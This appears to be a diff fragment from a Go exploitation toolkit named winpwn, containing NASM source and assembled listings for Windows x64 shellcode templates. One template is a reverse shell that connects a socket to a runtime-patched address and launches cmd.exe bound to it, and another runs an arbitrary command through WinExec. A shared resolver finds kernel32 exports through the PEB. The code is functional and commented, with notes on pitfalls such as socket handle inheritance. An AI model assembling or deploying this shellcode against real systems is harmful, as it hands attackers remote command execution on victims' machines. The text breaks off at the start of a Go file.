10 ; Real gotcha, worth recording here since it's easy to miss and the
|
||||
11 ; failure mode (cmd.exe launches but stdin/stdout look disconnected, no
|
||||
12 ; error anywhere) gives no hint why: socket() handles are NOT inheritable
|
||||
13 ; by default on modern Windows (a hardening change from the days when
|
||||
14 ; every handle was inheritable by default). bInheritHandles=TRUE on
|
||||
15 ; CreateProcessA alone is not enough -- SetHandleInformation must mark the
|
||||
16 ; specific socket handle as inheritable first, or the child simply doesn't
|
||||
17 ; get a usable copy of it no matter what STARTUPINFOA says.
|
||||
18 BITS 64
|
||||
19 default rel
|
||||
20
|
||||
21 start:
|
||||
22 00000000 55 push rbp
|
||||
23 00000001 4154 push r12
|
||||
24 00000003 4155 push r13
|
||||
25 00000005 4889E5 mov rbp, rsp
|
||||
26 00000008 4883E4F0 and rsp, ~0xF
|
||||
27
|
||||
28 0000000C E8EB010000 call get_kernel32_base
|
||||
29 00000011 4989C4 mov r12, rax ; r12 = kernel32 base, kept for the whole routine
|
||||
30
|
||||
31 ; WSAStartup(0x0202, &wsadata_buf)
|
||||
32 00000014 4C89E1 mov rcx, r12
|
||||
33 00000017 488D15FA020000 lea rdx, [rel name_ws2_32]
|
||||
34 0000001E 4C8D05FE020000 lea r8, [rel name_wsastartup]
|
||||
35 00000025 E877020000 call resolve_export
|
||||
36 0000002A B902020000 mov rcx, 0x0202
|
||||
37 0000002F 488D153A030000 lea rdx, [rel wsadata_buf]
|
||||
38 00000036 4883EC20 sub rsp, 0x20
|
||||
39 0000003A FFD0 call rax
|
||||
40 0000003C 4883C420 add rsp, 0x20
|
||||
41
|
||||
42 ; r13 = socket(AF_INET=2, SOCK_STREAM=1, IPPROTO_TCP=6)
|
||||
43 00000040 4C89E1 mov rcx, r12
|
||||
44 00000043 488D15CE020000 lea rdx, [rel name_ws2_32]
|
||||
45 0000004A 4C8D05DD020000 lea r8, [rel name_socket]
|
||||
46 00000051 E84B020000 call resolve_export
|
||||
47 00000056 B902000000 mov rcx, 2
|
||||
48 0000005B BA01000000 mov rdx, 1
|
||||
49 00000060 41B806000000 mov r8, 6
|
||||
50 00000066 4883EC20 sub rsp, 0x20
|
||||
51 0000006A FFD0 call rax
|
||||
52 0000006C 4883C420 add rsp, 0x20
|
||||
53 00000070 4989C5 mov r13, rax
|
||||
54
|
||||
55 ; SetHandleInformation(sockfd, HANDLE_FLAG_INHERIT, HANDLE_FLAG_INHERIT)
|
||||
56 ; -- see the file header: without this, the child below can't actually
|
||||
57 ; use sockfd no matter what STARTUPINFOA/bInheritHandles say.
|
||||
58 00000073 4C89E1 mov rcx, r12
|
||||
59 00000076 4831D2 xor rdx, rdx
|
||||
60 00000079 4C8D05BD020000 lea r8, [rel name_sethandleinformation]
|
||||
61 00000080 E81C020000 call resolve_export
|
||||
62 00000085 4C89E9 mov rcx, r13
|
||||
63 00000088 BA01000000 mov rdx, 1
|
||||
64 0000008D 41B801000000 mov r8, 1
|
||||
65 00000093 4883EC20 sub rsp, 0x20
|
||||
66 00000097 FFD0 call rax
|
||||
67 00000099 4883C420 add rsp, 0x20
|
||||
68
|
||||
69 ; connect(sockfd, &sockaddr_buf, 16)
|
||||
70 0000009D 4C89E1 mov rcx, r12
|
||||
71 000000A0 488D1571020000 lea rdx, [rel name_ws2_32]
|
||||
72 000000A7 4C8D0587020000 lea r8, [rel name_connect]
|
||||
73 000000AE E8EE010000 call resolve_export
|
||||
74 000000B3 4C89E9 mov rcx, r13
|
||||
75 000000B6 488D15B3040000 lea rdx, [rel sockaddr_buf]
|
||||
76 000000BD 41B810000000 mov r8, 16
|
||||
77 000000C3 4883EC20 sub rsp, 0x20
|
||||
78 000000C7 FFD0 call rax
|
||||
79 000000C9 4883C420 add rsp, 0x20
|
||||
80
|
||||
81 ; --- STARTUPINFOA (104 bytes) + PROCESS_INFORMATION (24 bytes), laid
|
||||
82 ; out on the stack at [rsp+0x50] / [rsp+0xB8]; [rsp+0x00..0x4F] is
|
||||
83 ; CreateProcessA's own shadow space + its 6 stack-passed arguments.
|
||||
84 000000CD 4881ECE0000000 sub rsp, 0xE0
|
||||
85
|
||||
86 000000D4 48C744245000000000 mov qword [rsp+0x50], 0
|
||||
87 000000DD 48C744245800000000 mov qword [rsp+0x58], 0
|
||||
88 000000E6 48C744246000000000 mov qword [rsp+0x60], 0
|
||||
89 000000EF 48C744246800000000 mov qword [rsp+0x68], 0
|
||||
90 000000F8 48C744247000000000 mov qword [rsp+0x70], 0
|
||||
91 00000101 48C744247800000000 mov qword [rsp+0x78], 0
|
||||
92 0000010A 48C784248000000000- mov qword [rsp+0x80], 0
|
||||
92 00000113 000000
|
||||
93 00000116 48C784248800000000- mov qword [rsp+0x88], 0
|
||||
93 0000011F 000000
|
||||
94 00000122 48C784249000000000- mov qword [rsp+0x90], 0
|
||||
94 0000012B 000000
|
||||
95 0000012E 48C784249800000000- mov qword [rsp+0x98], 0
|
||||
95 00000137 000000
|
||||
96 0000013A 48C78424A000000000- mov qword [rsp+0xA0], 0
|
||||
96 00000143 000000
|
||||
97 00000146 48C78424A800000000- mov qword [rsp+0xA8], 0
|
||||
97 0000014F 000000
|
||||
98 00000152 48C78424B000000000- mov qword [rsp+0xB0], 0
|
||||
98 0000015B 000000
|
||||
99
|
||||
100 0000015E C744245068000000 mov dword [rsp+0x50], 104 ; STARTUPINFOA.cb
|
||||
101 00000166 C784248C0000000001- mov dword [rsp+0x8C], 0x100 ; .dwFlags = STARTF_USESTDHANDLES (offset 60)
|
||||
101 0000016F 0000
|
||||
102 00000171 4C89AC24A0000000 mov [rsp+0xA0], r13 ; .hStdInput (offset 80)
|
||||
103 00000179 4C89AC24A8000000 mov [rsp+0xA8], r13 ; .hStdOutput (offset 88)
|
||||
104 00000181 4C89AC24B0000000 mov [rsp+0xB0], r13 ; .hStdError (offset 96)
|
||||
105
|
||||
106 ; CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)
|
||||
107 00000189 4C89E1 mov rcx, r12
|
||||
108 0000018C 4831D2 xor rdx, rdx
|
||||
109 0000018F 4C8D05BC010000 lea r8, [rel name_createprocessa]
|
||||
110 00000196 E806010000 call resolve_export
|
||||
111 0000019B 4989C6 mov r14, rax
|
||||
112
|
||||
113 0000019E 4831C9 xor rcx, rcx ; lpApplicationName = NULL
|
||||
114 000001A1 488D15B9010000 lea rdx, [rel cmdline_buf] ; lpCommandLine = "cmd.exe"
|
||||
115 000001A8 4D31C0 xor r8, r8 ; lpProcessAttributes = NULL
|
||||
116 000001AB 4D31C9 xor r9, r9 ; lpThreadAttributes = NULL
|
||||
117 000001AE 48C744242001000000 mov qword [rsp+0x20], 1 ; bInheritHandles = TRUE
|
||||
118 000001B7 48C744242800000000 mov qword [rsp+0x28], 0 ; dwCreationFlags = 0
|
||||
119 000001C0 48C744243000000000 mov qword [rsp+0x30], 0 ; lpEnvironment = NULL
|
||||
120 000001C9 48C744243800000000 mov qword [rsp+0x38], 0 ; lpCurrentDirectory = NULL
|
||||
121 000001D2 488D442450 lea rax, [rsp+0x50]
|
||||
122 000001D7 4889442440 mov qword [rsp+0x40], rax ; lpStartupInfo = &si
|
||||
123 000001DC 488D8424B8000000 lea rax, [rsp+0xB8]
|
||||
124 000001E4 4889442448 mov qword [rsp+0x48], rax ; lpProcessInformation = &pi
|
||||
125 000001E9 41FFD6 call r14
|
||||
126
|
||||
127 000001EC 4881C4E0000000 add rsp, 0xE0
|
||||
128 000001F3 4889EC mov rsp, rbp
|
||||
129 000001F6 415D pop r13
|
||||
130 000001F8 415C pop r12
|
||||
131 000001FA 5D pop rbp
|
||||
132 000001FB C3 ret
|
||||
133
|
||||
134 %include "resolver.inc"
|
||||
1 <1> ; resolver.inc — shared x64 position-independent building blocks for winpwn
|
||||
2 <1> ; shellcraft templates: find kernel32's base via the PEB (no hardcoded
|
||||
3 <1> ; addresses) and resolve any export by name (no hashing, just a linear
|
||||
4 <1> ; name-table scan — simple, auditable, and plenty fast for a handful of
|
||||
5 <1> ; one-shot resolutions).
|
||||
6 <1> ;
|
||||
7 <1> ; Calling convention (our own, not WinAPI): standard x64 fastcall-ish,
|
||||
8 <1> ; args in RCX/RDX, result in RAX. Both routines preserve every
|
||||
9 <1> ; non-volatile register they touch, so callers can keep values live in
|
||||
10 <1> ; r12-r15 across calls to either of these.
|
||||
11 <1>
|
||||
12 <1> ; get_kernel32_base() -> RAX = kernel32.dll base address
|
||||
13 <1> ;
|
||||
14 <1> ; Walks PEB->Ldr->InMemoryOrderModuleList. Entry 0 is always the running
|
||||
15 <1> ; executable itself, entry 1 is ntdll.dll, entry 2 is kernel32.dll — this
|
||||
16 <1> ; fixed load order is the same trick essentially every public Windows x64
|
||||
17 <1> ; shellcode relies on.
|
||||
18 <1> get_kernel32_base:
|
||||
19 000001FC 65488B042560000000 <1> mov rax, [gs:0x60] ; TEB->ProcessEnvironmentBlock (gs:0x60 on x64)
|
||||
20 00000205 488B4018 <1> mov rax, [rax+0x18] ; PEB->Ldr
|
||||
21 00000209 488B4020 <1> mov rax, [rax+0x20] ; Ldr->InMemoryOrderModuleList.Flink -> entry0.InMemoryOrderLinks
|
||||
22 0000020D 488B00 <1> mov rax, [rax] ; entry0.Flink -> entry1 (ntdll.dll)
|
||||
23 00000210 488B00 <1> mov rax, [rax] ; entry1.Flink -> entry2 (kernel32.dll)
|
||||
24 00000213 488B4020 <1> mov rax, [rax+0x20] ; entry2.DllBase (DllBase sits 0x20 past InMemoryOrderLinks)
|
||||
25 00000217 C3 <1> ret
|
||||
26 <1>
|
||||
27 <1> ; find_export(RCX = module base, RDX = pointer to NUL-terminated ASCII name)
|
||||
28 <1> ; -> RAX = absolute address of the export, or 0 if not found.
|
||||
29 <1> ;
|
||||
30 <1> ; Walks IMAGE_EXPORT_DIRECTORY.AddressOfNames linearly comparing each
|
||||
31 <1> ; entry against the target string, then follows AddressOfNameOrdinals and
|
||||
32 <1> ; AddressOfFunctions to the RVA. NT_HEADER+0x88 is the canonical
|
||||
33 <1> ; DataDirectory[0] (export table) offset for PE32+.
|
||||
34 <1> find_export:
|
||||
35 00000218 4154 <1> push r12
|
||||
36 0000021A 4155 <1> push r13
|
||||
37 0000021C 4156 <1> push r14
|
||||
38 0000021E 4157 <1> push r15
|
||||
39 00000220 56 <1> push rsi
|
||||
40 00000221 57 <1> push rdi
|
||||
41 00000222 53 <1> push rbx
|
||||
42 <1>
|
||||
43 00000223 4989CC <1> mov r12, rcx ; r12 = module base (preserved for the whole routine)
|
||||
44 00000226 4989D5 <1> mov r13, rdx ; r13 = target name pointer (preserved)
|
||||
45 <1>
|
||||
46 00000229 418B44243C <1> mov eax, [r12+0x3C] ; e_lfanew
|
||||
47 0000022E 4C01E0 <1> add rax, r12 ; rax = NT header VA
|
||||
48 00000231 8B8088000000 <1> mov eax, [rax+0x88] ; export dir RVA (OptionalHeader64.DataDirectory[0].VirtualAddress)
|
||||
49 00000237 4C01E0 <1> add rax, r12
|
||||
50 0000023A 4989C6 <1> mov r14, rax ; r14 = export directory VA
|
||||
51 <1>
|
||||
52 0000023D 418B5E18 <1> mov ebx, [r14+0x18] ; ebx = NumberOfNames
|
||||
53 00000241 458B4E20 <1> mov r9d, [r14+0x20] ; AddressOfNames RVA
|
||||
54 00000245 4D01E1 <1> add r9, r12 ; r9 = AddressOfNames VA (array of DWORD RVAs -> name strings)
|
||||
55 00000248 458B5624 <1> mov r10d, [r14+0x24] ; AddressOfNameOrdinals RVA
|
||||
56 0000024C 4D01E2 <1> add r10, r12 ; r10 = AddressOfNameOrdinals VA (array of WORD ordinals)
|
||||
57 0000024F 458B5E1C <1> mov r11d, [r14+0x1C] ; AddressOfFunctions RVA
|
||||
58 00000253 4D01E3 <1> add r11, r12 ; r11 = AddressOfFunctions VA (array of DWORD RVAs -> code)
|
||||
59 <1>
|
||||
60 00000256 4D31FF <1> xor r15, r15 ; r15 = loop index i
|
||||
61 <1>
|
||||
62 <1> .loop:
|
||||
63 00000259 4939DF <1> cmp r15, rbx
|
||||
64 0000025C 7D34 <1> jge .notfound
|
||||
65 <1>
|
||||
66 0000025E 438B04B9 <1> mov eax, [r9 + r15*4] ; nameRVA for entry i
|
||||
67 00000262 4C01E0 <1> add rax, r12
|
||||
68 00000265 4889C6 <1> mov rsi, rax ; rsi = candidate name VA
|
||||
69 00000268 4C89EF <1> mov rdi, r13 ; rdi = target name VA (reset every attempt)
|
||||
70 <1>
|
||||
71 <1> .cmp_loop:
|
||||
72 0000026B 8A06 <1> mov al, [rsi]
|
||||
73 0000026D 8A0F <1> mov cl, [rdi]
|
||||
74 0000026F 38C8 <1> cmp al, cl
|
||||
75 00000271 750C <1> jne .next
|
||||
76 00000273 84C0 <1> test al, al
|
||||
77 00000275 740D <1> je .found ; both hit NUL with every byte equal -> match
|
||||
78 00000277 48FFC6 <1> inc rsi
|
||||
79 0000027A 48FFC7 <1> inc rdi
|
||||
80 0000027D EBEC <1> jmp .cmp_loop
|
||||
81 <1>
|
||||
82 <1> .next:
|
||||
83 0000027F 49FFC7 <1> inc r15
|
||||
84 00000282 EBD5 <1> jmp .loop
|
||||
85 <1>
|
||||
86 <1> .found:
|
||||
87 00000284 4B0FB7047A <1> movzx rax, word [r10 + r15*2] ; ordinal index for entry i
|
||||
88 00000289 418B0483 <1> mov eax, [r11 + rax*4] ; function RVA
|
||||
89 0000028D 4C01E0 <1> add rax, r12 ; absolute address
|
||||
90 00000290 EB03 <1> jmp .done
|
||||
91 <1>
|
||||
92 <1> .notfound:
|
||||
93 00000292 4831C0 <1> xor rax, rax
|
||||
94 <1>
|
||||
95 <1> .done:
|
||||
96 00000295 5B <1> pop rbx
|
||||
97 00000296 5F <1> pop rdi
|
||||
98 00000297 5E <1> pop rsi
|
||||
99 00000298 415F <1> pop r15
|
||||
100 0000029A 415E <1> pop r14
|
||||
101 0000029C 415D <1> pop r13
|
||||
102 0000029E 415C <1> pop r12
|
||||
103 000002A0 C3 <1> ret
|
||||
104 <1>
|
||||
105 <1> ; resolve_export(RCX = kernel32 base, RDX = DLL name ptr or 0, R8 = func name ptr)
|
||||
106 <1> ; -> RAX = absolute address of the export, or 0 on any failure.
|
||||
107 <1> ;
|
||||
108 <1> ; find_export alone only works if the target module is *already* loaded
|
||||
109 <1> ; into the process -- fine for kernel32 itself, not fine for e.g. user32.dll
|
||||
110 <1> ; in a plain console process. When RDX is 0 this is exactly find_export
|
||||
111 <1> ; (the function is assumed already loaded at the module base in RCX).
|
||||
112 <1> ; When RDX is a DLL name pointer, LoadLibraryA is resolved out of kernel32
|
||||
113 <1> ; (itself just another find_export call) and called to load-or-fetch the
|
||||
114 <1> ; named module, then find_export resolves R8 inside *that* module's base.
|
||||
115 <1> resolve_export:
|
||||
116 000002A1 4154 <1> push r12 ; kernel32 base
|
||||
117 000002A3 4155 <1> push r13 ; dll name ptr (or 0)
|
||||
118 000002A5 4156 <1> push r14 ; func name ptr
|
||||
119 000002A7 55 <1> push rbp ; stash pre-align rsp, same pattern as winexec_x64.asm's start
|
||||
120 000002A8 4889E5 <1> mov rbp, rsp
|
||||
121 000002AB 4883E4F0 <1> and rsp, ~0xF
|
||||
122 <1>
|
||||
123 000002AF 4989CC <1> mov r12, rcx
|
||||
124 000002B2 4989D5 <1> mov r13, rdx
|
||||
125 000002B5 4D89C6 <1> mov r14, r8
|
||||
126 <1>
|
||||
127 000002B8 4D85ED <1> test r13, r13
|
||||
128 000002BB 750D <1> jnz .need_loadlibrary
|
||||
129 <1>
|
||||
130 000002BD 4C89E1 <1> mov rcx, r12
|
||||
131 000002C0 4C89F2 <1> mov rdx, r14
|
||||
132 000002C3 E850FFFFFF <1> call find_export
|
||||
133 000002C8 EB36 <1> jmp .resolve_done
|
||||
134 <1>
|
||||
135 <1> .need_loadlibrary:
|
||||
136 000002CA 4C89E1 <1> mov rcx, r12
|
||||
137 000002CD 488D1537000000 <1> lea rdx, [rel name_loadlibrarya]
|
||||
138 000002D4 E83FFFFFFF <1> call find_export
|
||||
139 000002D9 4885C0 <1> test rax, rax
|
||||
140 000002DC 741F <1> jz .resolve_fail
|
||||
141 <1>
|
||||
142 000002DE 4C89E9 <1> mov rcx, r13 ; LoadLibraryA(lpLibFileName)
|
||||
143 000002E1 4883EC20 <1> sub rsp, 0x20 ; shadow space required before any WinAPI call
|
||||
144 000002E5 FFD0 <1> call rax
|
||||
145 000002E7 4883C420 <1> add rsp, 0x20
|
||||
146 000002EB 4885C0 <1> test rax, rax
|
||||
147 000002EE 740D <1> jz .resolve_fail
|
||||
148 <1>
|
||||
149 000002F0 4889C1 <1> mov rcx, rax ; the newly (or already) loaded module's base
|
||||
150 000002F3 4C89F2 <1> mov rdx, r14
|
||||
151 000002F6 E81DFFFFFF <1> call find_export
|
||||
152 000002FB EB03 <1> jmp .resolve_done
|
||||
153 <1>
|
||||
154 <1> .resolve_fail:
|
||||
155 000002FD 4831C0 <1> xor rax, rax
|
||||
156 <1>
|
||||
157 <1> .resolve_done:
|
||||
158 00000300 4889EC <1> mov rsp, rbp
|
||||
159 00000303 5D <1> pop rbp
|
||||
160 00000304 415E <1> pop r14
|
||||
161 00000306 415D <1> pop r13
|
||||
162 00000308 415C <1> pop r12
|
||||
163 0000030A C3 <1> ret
|
||||
164 <1>
|
||||
165 0000030B 4C6F61644C69627261- <1> name_loadlibrarya: db "LoadLibraryA", 0
|
||||
165 00000314 72794100 <1>
|
||||
135
|
||||
136 00000318 7773325F33322E646C- name_ws2_32: db "ws2_32.dll", 0
|
||||
136 00000321 6C00
|
||||
137 00000323 575341537461727475- name_wsastartup: db "WSAStartup", 0
|
||||
137 0000032C 7000
|
||||
138 0000032E 736F636B657400 name_socket: db "socket", 0
|
||||
139 00000335 636F6E6E65637400 name_connect: db "connect", 0
|
||||
140 0000033D 53657448616E646C65- name_sethandleinformation: db "SetHandleInformation", 0
|
||||
140 00000346 496E666F726D617469-
|
||||
140 0000034F 6F6E00
|
||||
141 00000352 43726561746550726F- name_createprocessa: db "CreateProcessA", 0
|
||||
141 0000035B 636573734100
|
||||
142
|
||||
143 ; lpCommandLine must point at writable memory (CreateProcessA may modify
|
||||
144 ; it in place) -- fine here since shellcode bytes live in a writable page
|
||||
145 ; wherever they landed, same as every other template's embedded buffers.
|
||||
146 00000361 636D642E6578650000- cmdline_buf: db "cmd.exe", 0, 0, 0, 0, 0, 0, 0, 0
|
||||
146 0000036A 000000000000
|
||||
147
|
||||
148 align 8
|
||||
149 wsadata_buf:
|
||||
150 00000370 00<rep 200h> times 512 db 0
|
||||
151
|
||||
152 align 8
|
||||
153 sockaddr_buf:
|
||||
154 00000570 0200 dw 2 ; sin_family = AF_INET
|
||||
155 00000572 0000 dw 0 ; sin_port, patched at runtime (network byte order)
|
||||
156 00000574 00000000 dd 0 ; sin_addr, patched at runtime (network byte order)
|
||||
157 00000578 0000000000000000 dq 0 ; sin_zero[8]
|
||||
@@ -0,0 +1,52 @@
|
||||
; winexec_x64.asm — position-independent x64 shellcode: resolve kernel32's
|
||||
; base via the PEB (no leak/hardcoded address needed), find WinExec by
|
||||
; name, and run a command. Returns normally (ret) so the host thread keeps
|
||||
; running afterward.
|
||||
;
|
||||
; cmd_buf is a 260-byte placeholder at the very end of the assembled blob;
|
||||
; winpwn patches it at runtime with the actual NUL-terminated command
|
||||
; (see shellcraft.go).
|
||||
BITS 64
|
||||
default rel
|
||||
|
||||
start:
|
||||
; Preserve the caller's rbp/r12 (both non-volatile per the Windows x64
|
||||
; ABI) and stash the post-push rsp in rbp so we can force 16-byte
|
||||
; alignment below and still land exactly back on the real return
|
||||
; address afterward. A bare `and rsp, ~0xF` with no matching restore
|
||||
; before `ret` pops whatever garbage is sitting at the shifted address
|
||||
; instead of the caller's actual return address — that's the bug this
|
||||
; replaced (verified by crash: rip ended up pointing into the Go
|
||||
; runtime's heap, i.e. exactly the kind of stale stack value this leaves
|
||||
; behind).
|
||||
push rbp
|
||||
push r12
|
||||
mov rbp, rsp
|
||||
and rsp, ~0xF ; force 16-byte stack alignment, unknown entry state
|
||||
|
||||
call get_kernel32_base
|
||||
mov r12, rax ; r12 = kernel32 base
|
||||
|
||||
mov rcx, r12
|
||||
lea rdx, [rel name_winexec]
|
||||
call find_export
|
||||
; rax = WinExec address
|
||||
|
||||
lea rcx, [rel cmd_buf]
|
||||
mov edx, 5 ; SW_SHOW
|
||||
sub rsp, 0x20 ; shadow space required before any WinAPI call
|
||||
call rax
|
||||
add rsp, 0x20
|
||||
|
||||
mov rsp, rbp
|
||||
pop r12
|
||||
pop rbp
|
||||
ret
|
||||
|
||||
%include "resolver.inc"
|
||||
|
||||
name_winexec: db "WinExec", 0
|
||||
|
||||
align 8
|
||||
cmd_buf:
|
||||
times 260 db 0
|
||||
@@ -0,0 +1,155 @@
|
||||
1 ; winexec_x64.asm — position-independent x64 shellcode: resolve kernel32's
|
||||
2 ; base via the PEB (no leak/hardcoded address needed), find WinExec by
|
||||
3 ; name, and run a command. Returns normally (ret) so the host thread keeps
|
||||
4 ; running afterward.
|
||||
5 ;
|
||||
6 ; cmd_buf is a 260-byte placeholder at the very end of the assembled blob;
|
||||
7 ; winpwn patches it at runtime with the actual NUL-terminated command
|
||||
8 ; (see shellcraft.go).
|
||||
9 BITS 64
|
||||
10 default rel
|
||||
11
|
||||
12 start:
|
||||
13 ; Preserve the caller's rbp/r12 (both non-volatile per the Windows x64
|
||||
14 ; ABI) and stash the post-push rsp in rbp so we can force 16-byte
|
||||
15 ; alignment below and still land exactly back on the real return
|
||||
16 ; address afterward. A bare `and rsp, ~0xF` with no matching restore
|
||||
17 ; before `ret` pops whatever garbage is sitting at the shifted address
|
||||
18 ; instead of the caller's actual return address — that's the bug this
|
||||
19 ; replaced (verified by crash: rip ended up pointing into the Go
|
||||
20 ; runtime's heap, i.e. exactly the kind of stale stack value this leaves
|
||||
21 ; behind).
|
||||
22 00000000 55 push rbp
|
||||
23 00000001 4154 push r12
|
||||
24 00000003 4889E5 mov rbp, rsp
|
||||
25 00000006 4883E4F0 and rsp, ~0xF ; force 16-byte stack alignment, unknown entry state
|
||||
26
|
||||
27 0000000A E82F000000 call get_kernel32_base
|
||||
28 0000000F 4989C4 mov r12, rax ; r12 = kernel32 base
|
||||
29
|
||||
30 00000012 4C89E1 mov rcx, r12
|
||||
31 00000015 488D15C7000000 lea rdx, [rel name_winexec]
|
||||
32 0000001C E839000000 call find_export
|
||||
33 ; rax = WinExec address
|
||||
34
|
||||
35 00000021 488D0DC8000000 lea rcx, [rel cmd_buf]
|
||||
36 00000028 BA05000000 mov edx, 5 ; SW_SHOW
|
||||
37 0000002D 4883EC20 sub rsp, 0x20 ; shadow space required before any WinAPI call
|
||||
38 00000031 FFD0 call rax
|
||||
39 00000033 4883C420 add rsp, 0x20
|
||||
40
|
||||
41 00000037 4889EC mov rsp, rbp
|
||||
42 0000003A 415C pop r12
|
||||
43 0000003C 5D pop rbp
|
||||
44 0000003D C3 ret
|
||||
45
|
||||
46 %include "resolver.inc"
|
||||
1 <1> ; resolver.inc — shared x64 position-independent building blocks for winpwn
|
||||
2 <1> ; shellcraft templates: find kernel32's base via the PEB (no hardcoded
|
||||
3 <1> ; addresses) and resolve any export by name (no hashing, just a linear
|
||||
4 <1> ; name-table scan — simple, auditable, and plenty fast for a handful of
|
||||
5 <1> ; one-shot resolutions).
|
||||
6 <1> ;
|
||||
7 <1> ; Calling convention (our own, not WinAPI): standard x64 fastcall-ish,
|
||||
8 <1> ; args in RCX/RDX, result in RAX. Both routines preserve every
|
||||
9 <1> ; non-volatile register they touch, so callers can keep values live in
|
||||
10 <1> ; r12-r15 across calls to either of these.
|
||||
11 <1>
|
||||
12 <1> ; get_kernel32_base() -> RAX = kernel32.dll base address
|
||||
13 <1> ;
|
||||
14 <1> ; Walks PEB->Ldr->InMemoryOrderModuleList. Entry 0 is always the running
|
||||
15 <1> ; executable itself, entry 1 is ntdll.dll, entry 2 is kernel32.dll — this
|
||||
16 <1> ; fixed load order is the same trick essentially every public Windows x64
|
||||
17 <1> ; shellcode relies on.
|
||||
18 <1> get_kernel32_base:
|
||||
19 0000003E 65488B042560000000 <1> mov rax, [gs:0x60] ; TEB->ProcessEnvironmentBlock (gs:0x60 on x64)
|
||||
20 00000047 488B4018 <1> mov rax, [rax+0x18] ; PEB->Ldr
|
||||
21 0000004B 488B4020 <1> mov rax, [rax+0x20] ; Ldr->InMemoryOrderModuleList.Flink -> entry0.InMemoryOrderLinks
|
||||
22 0000004F 488B00 <1> mov rax, [rax] ; entry0.Flink -> entry1 (ntdll.dll)
|
||||
23 00000052 488B00 <1> mov rax, [rax] ; entry1.Flink -> entry2 (kernel32.dll)
|
||||
24 00000055 488B4020 <1> mov rax, [rax+0x20] ; entry2.DllBase (DllBase sits 0x20 past InMemoryOrderLinks)
|
||||
25 00000059 C3 <1> ret
|
||||
26 <1>
|
||||
27 <1> ; find_export(RCX = module base, RDX = pointer to NUL-terminated ASCII name)
|
||||
28 <1> ; -> RAX = absolute address of the export, or 0 if not found.
|
||||
29 <1> ;
|
||||
30 <1> ; Walks IMAGE_EXPORT_DIRECTORY.AddressOfNames linearly comparing each
|
||||
31 <1> ; entry against the target string, then follows AddressOfNameOrdinals and
|
||||
32 <1> ; AddressOfFunctions to the RVA. NT_HEADER+0x88 is the canonical
|
||||
33 <1> ; DataDirectory[0] (export table) offset for PE32+.
|
||||
34 <1> find_export:
|
||||
35 0000005A 4154 <1> push r12
|
||||
36 0000005C 4155 <1> push r13
|
||||
37 0000005E 4156 <1> push r14
|
||||
38 00000060 4157 <1> push r15
|
||||
39 00000062 56 <1> push rsi
|
||||
40 00000063 57 <1> push rdi
|
||||
41 00000064 53 <1> push rbx
|
||||
42 <1>
|
||||
43 00000065 4989CC <1> mov r12, rcx ; r12 = module base (preserved for the whole routine)
|
||||
44 00000068 4989D5 <1> mov r13, rdx ; r13 = target name pointer (preserved)
|
||||
45 <1>
|
||||
46 0000006B 418B44243C <1> mov eax, [r12+0x3C] ; e_lfanew
|
||||
47 00000070 4C01E0 <1> add rax, r12 ; rax = NT header VA
|
||||
48 00000073 8B8088000000 <1> mov eax, [rax+0x88] ; export dir RVA (OptionalHeader64.DataDirectory[0].VirtualAddress)
|
||||
49 00000079 4C01E0 <1> add rax, r12
|
||||
50 0000007C 4989C6 <1> mov r14, rax ; r14 = export directory VA
|
||||
51 <1>
|
||||
52 0000007F 418B5E18 <1> mov ebx, [r14+0x18] ; ebx = NumberOfNames
|
||||
53 00000083 458B4E20 <1> mov r9d, [r14+0x20] ; AddressOfNames RVA
|
||||
54 00000087 4D01E1 <1> add r9, r12 ; r9 = AddressOfNames VA (array of DWORD RVAs -> name strings)
|
||||
55 0000008A 458B5624 <1> mov r10d, [r14+0x24] ; AddressOfNameOrdinals RVA
|
||||
56 0000008E 4D01E2 <1> add r10, r12 ; r10 = AddressOfNameOrdinals VA (array of WORD ordinals)
|
||||
57 00000091 458B5E1C <1> mov r11d, [r14+0x1C] ; AddressOfFunctions RVA
|
||||
58 00000095 4D01E3 <1> add r11, r12 ; r11 = AddressOfFunctions VA (array of DWORD RVAs -> code)
|
||||
59 <1>
|
||||
60 00000098 4D31FF <1> xor r15, r15 ; r15 = loop index i
|
||||
61 <1>
|
||||
62 <1> .loop:
|
||||
63 0000009B 4939DF <1> cmp r15, rbx
|
||||
64 0000009E 7D34 <1> jge .notfound
|
||||
65 <1>
|
||||
66 000000A0 438B04B9 <1> mov eax, [r9 + r15*4] ; nameRVA for entry i
|
||||
67 000000A4 4C01E0 <1> add rax, r12
|
||||
68 000000A7 4889C6 <1> mov rsi, rax ; rsi = candidate name VA
|
||||
69 000000AA 4C89EF <1> mov rdi, r13 ; rdi = target name VA (reset every attempt)
|
||||
70 <1>
|
||||
71 <1> .cmp_loop:
|
||||
72 000000AD 8A06 <1> mov al, [rsi]
|
||||
73 000000AF 8A0F <1> mov cl, [rdi]
|
||||
74 000000B1 38C8 <1> cmp al, cl
|
||||
75 000000B3 750C <1> jne .next
|
||||
76 000000B5 84C0 <1> test al, al
|
||||
77 000000B7 740D <1> je .found ; both hit NUL with every byte equal -> match
|
||||
78 000000B9 48FFC6 <1> inc rsi
|
||||
79 000000BC 48FFC7 <1> inc rdi
|
||||
80 000000BF EBEC <1> jmp .cmp_loop
|
||||
81 <1>
|
||||
82 <1> .next:
|
||||
83 000000C1 49FFC7 <1> inc r15
|
||||
84 000000C4 EBD5 <1> jmp .loop
|
||||
85 <1>
|
||||
86 <1> .found:
|
||||
87 000000C6 4B0FB7047A <1> movzx rax, word [r10 + r15*2] ; ordinal index for entry i
|
||||
88 000000CB 418B0483 <1> mov eax, [r11 + rax*4] ; function RVA
|
||||
89 000000CF 4C01E0 <1> add rax, r12 ; absolute address
|
||||
90 000000D2 EB03 <1> jmp .done
|
||||
91 <1>
|
||||
92 <1> .notfound:
|
||||
93 000000D4 4831C0 <1> xor rax, rax
|
||||
94 <1>
|
||||
95 <1> .done:
|
||||
96 000000D7 5B <1> pop rbx
|
||||
97 000000D8 5F <1> pop rdi
|
||||
98 000000D9 5E <1> pop rsi
|
||||
99 000000DA 415F <1> pop r15
|
||||
100 000000DC 415E <1> pop r14
|
||||
101 000000DE 415D <1> pop r13
|
||||
102 000000E0 415C <1> pop r12
|
||||
103 000000E2 C3 <1> ret
|
||||
47
|
||||
48 000000E3 57696E4578656300 name_winexec: db "WinExec", 0
|
||||
49
|
||||
50 000000EB 90<rep 5h> align 8
|
||||
51 cmd_buf:
|
||||
52 000000F0 00<rep 104h> times 260 db 0
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,10 @@
|
||||
//go:build !windows
|
||||
|
||||
package winpwn
|
||||
|
